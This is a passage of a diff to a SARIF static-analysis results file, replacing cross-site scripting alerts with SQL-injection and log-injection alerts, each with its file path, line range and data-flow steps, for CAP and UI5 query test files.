-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 1
           },
           "region" : {
             "startLine" : 41,
@@ -13035,34 +14788,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/xss",
+      "ruleId" : "js/sql-injection",
       "rule" : {
-        "id" : "js/xss",
-        "index" : 58,
+        "id" : "js/sql-injection",
+        "index" : 72,
         "toolComponent" : {
-          "index" : 2
+          "index" : 3
         }
       },
       "message" : {
-        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+        "text" : "This query string depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 4,
+            "startLine" : 41,
             "startColumn" : 20,
-            "endColumn" : 25
+            "endColumn" : 40
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "6311a9ed7e4091a4:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "4fc3122b51f477a1:1",
+        "primaryLocationStartColumnFingerprint" : "11"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -13070,112 +14823,197 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 3,
-                  "startColumn" : 17,
-                  "endColumn" : 51
+                  "startLine" : 41,
+                  "startColumn" : 20,
+                  "endColumn" : 40
                 }
               },
               "message" : {
-                "text" : "jQuery. ... param\")"
+                "text" : "req2.params.category"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 3,
-                  "startColumn" : 9,
-                  "endColumn" : 51
+                  "startLine" : 41,
+                  "startColumn" : 20,
+                  "endColumn" : 40
+                }
+              },
+              "message" : {
+                "text" : "req2.params.category"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 41,
+            "startColumn" : 20,
+            "endColumn" : 40
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/log-injection",
+      "rule" : {
+        "id" : "js/log-injection",
+        "index" : 94,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 26,
+            "startColumn" : 19,
+            "endColumn" : 36
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "ccc6f77c65eccb45:1",
+        "primaryLocationStartColumnFingerprint" : "12"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 23,
+                  "startColumn" : 34,
+                  "endColumn" : 54
+                }
+              },
+              "message" : {
+                "text" : "req2.params.category"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 23,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 4,
-                  "startColumn" : 20,
-                  "endColumn" : 25
+                  "startLine" : 23,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "book"
               }
             }
-          } ]
-        } ]
-      }, {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 3,
-                  "startColumn" : 17,
-                  "endColumn" : 51
+                  "startLine" : 23,
+                  "startColumn" : 13,
+                  "endColumn" : 54
                 }
               },
               "message" : {
-                "text" : "jQuery. ... param\")"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 3,
-                  "startColumn" : 9,
-                  "endColumn" : 51
+                  "startLine" : 26,
+                  "startColumn" : 32,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 4,
-                  "startColumn" : 20,
-                  "endColumn" : 25
+                  "startLine" : 26,
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "\"console:\" + book"
               }
             }
           } ]
@@ -13185,14 +15023,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 2
           },
           "region" : {
-            "startLine" : 3,
-            "startColumn" : 17,
-            "endColumn" : 51
+            "startLine" : 23,
+            "startColumn" : 34,
+            "endColumn" : 54
           }
         },
         "message" : {
@@ -13200,34 +15038,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/xss",
+      "ruleId" : "js/log-injection",
       "rule" : {
-        "id" : "js/xss",
-        "index" : 58,
+        "id" : "js/log-injection",
+        "index" : 94,
         "toolComponent" : {
-          "index" : 2
+          "index" : 3
         }
       },
       "message" : {
-        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 3
           },
           "region" : {
-            "startLine" : 11,
-            "startColumn" : 20,
-            "endColumn" : 25
+            "startLine" : 7,
+            "startColumn" : 18,
+            "endColumn" : 41
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "8e517fc6fdf32a1a:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "be9a18716e55d497:1",
+        "primaryLocationStartColumnFingerprint" : "13"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -13235,32 +15073,32 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 10,
+                  "startLine" : 6,
                   "startColumn" : 17,
-                  "endColumn" : 41
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "documen ... .search"
+                "text" : "jQuery. ... param\")"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 10,
+                  "startLine" : 6,
                   "startColumn" : 9,
-                  "endColumn" : 41
+                  "endColumn" : 51
                 }
               },
               "message" : {
@@ -13271,20 +15109,38 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 20,
-                  "endColumn" : 25
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 39
                 }
               },
               "message" : {
                 "text" : "value"
               }
             }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 18,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "`[INFO] ... value}`"
+              }
+            }
           } ]
         } ]
       } ],
@@ -13292,14 +15148,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 3
           },
           "region" : {
-            "startLine" : 10,
+            "startLine" : 6,
             "startColumn" : 17,
-            "endColumn" : 41
+            "endColumn" : 51
           }
         },
         "message" : {
@@ -13307,34 +15163,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/xss",
+      "ruleId" : "js/log-injection",
       "rule" : {
-        "id" : "js/xss",
-        "index" : 58,
+        "id" : "js/log-injection",
+        "index" : 94,
         "toolComponent" : {
-          "index" : 2
+          "index" : 3
         }
       },
       "message" : {
-        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 3
           },
           "region" : {
-            "startLine" : 19,
-            "startColumn" : 20,
-            "endColumn" : 26
+            "startLine" : 15,
+            "startColumn" : 18,
+            "endColumn" : 41
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "c51cf11a085c01f4:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "be9a18716e55d497:2",
+        "primaryLocationStartColumnFingerprint" : "13"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -13342,108 +15198,162 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 17,
-                  "endColumn" : 41
+                  "startLine" : 13,
+                  "startColumn" : 23,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "documen ... .search"
+                "text" : "req.url"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
+                  "startLine" : 13,
+                  "startColumn" : 13,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "url.par ... , true)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 13,
                   "startColumn" : 9,
-                  "endColumn" : 41
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "q"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 39,
-                  "endColumn" : 44
+                  "startLine" : 14,
+                  "startColumn" : 17,
+                  "endColumn" : 18
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "q"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 18,
-                  "endColumn" : 45
+                  "startLine" : 14,
+                  "startColumn" : 17,
+                  "endColumn" : 24
+                }
+              },
+              "message" : {
+                "text" : "q.query"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 14,
+                  "startColumn" : 17,
+                  "endColumn" : 33
+                }
+              },
+              "message" : {
+                "text" : "q.query.username"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 14,
+                  "startColumn" : 9,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "jQuery. ... (value)"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 9,
-                  "endColumn" : 45
+                  "startLine" : 15,
+                  "startColumn" : 34,
+                  "endColumn" : 39
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 19,
-                  "startColumn" : 20,
-                  "endColumn" : 26
+                  "startLine" : 15,
+                  "startColumn" : 18,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "`[INFO] ... value}`"
               }
             }
           } ]
@@ -13453,14 +15363,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 3
           },
           "region" : {
-            "startLine" : 17,
-            "startColumn" : 17,
-            "endColumn" : 41
+            "startLine" : 13,
+            "startColumn" : 23,
+            "endColumn" : 30
           }
         },
         "message" : {
@@ -13468,34 +15378,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/xss",
+      "ruleId" : "js/log-injection",
       "rule" : {
-        "id" : "js/xss",
-        "index" : 58,
+        "id" : "js/log-injection",
+        "index" : 94,
         "toolComponent" : {
-          "index" : 2
+          "index" : 3
         }
       },
       "message" : {
-        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 3
           },
           "region" : {
-            "startLine" : 27,
-            "startColumn" : 20,
-            "endColumn" : 26
+            "startLine" : 24,
+            "startColumn" : 18,
+            "endColumn" : 42
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "e309bf8540256a05:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "e197b363f9dc3962:1",
+        "primaryLocationStartColumnFingerprint" : "13"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -13503,269 +15413,305 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 17,
-                  "endColumn" : 41
+                  "startLine" : 21,
+                  "startColumn" : 23,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "documen ... .search"
+                "text" : "req.url"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 25,
+                  "startLine" : 21,
+                  "startColumn" : 13,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "url.par ... , true)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 21,
                   "startColumn" : 9,
-                  "endColumn" : 41
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "q"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 26,
-                  "startColumn" : 39,
-                  "endColumn" : 44
+                  "startLine" : 22,
+                  "startColumn" : 17,
+                  "endColumn" : 18
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "q"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 26,
-                  "startColumn" : 18,
-                  "endColumn" : 45
+                  "startLine" : 22,
+                  "startColumn" : 17,
+                  "endColumn" : 24
                 }
               },
               "message" : {
-                "text" : "jQuery. ... (value)"
+                "text" : "q.query"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 26,
-                  "startColumn" : 9,
-                  "endColumn" : 45
+                  "startLine" : 22,
+                  "startColumn" : 17,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "q.query.username"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 20,
-                  "endColumn" : 26
+                  "startLine" : 22,
+                  "startColumn" : 9,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "value"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 25,
-            "startColumn" : 17,
-            "endColumn" : 41
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/log-injection",
-      "rule" : {
-        "id" : "js/log-injection",
-        "index" : 90,
-        "toolComponent" : {
-          "index" : 2
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 26,
-            "startColumn" : 19,
-            "endColumn" : 36
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "ccc6f77c65eccb45:1",
-        "primaryLocationStartColumnFingerprint" : "12"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
-                  "startColumn" : 34,
-                  "endColumn" : 54
+                  "startColumn" : 39,
+                  "endColumn" : 44
                 }
               },
               "message" : {
-                "text" : "req2.params.category"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startColumn" : 18,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "jQuery. ... (value)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startColumn" : 9,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "value1"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 13,
-                  "endColumn" : 54
+                  "startLine" : 24,
+                  "startColumn" : 34,
+                  "endColumn" : 40
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "value1"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 24,
+                  "startColumn" : 18,
+                  "endColumn" : 42
+                }
+              },
+              "message" : {
+                "text" : "`[INFO] ... alue1}`"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
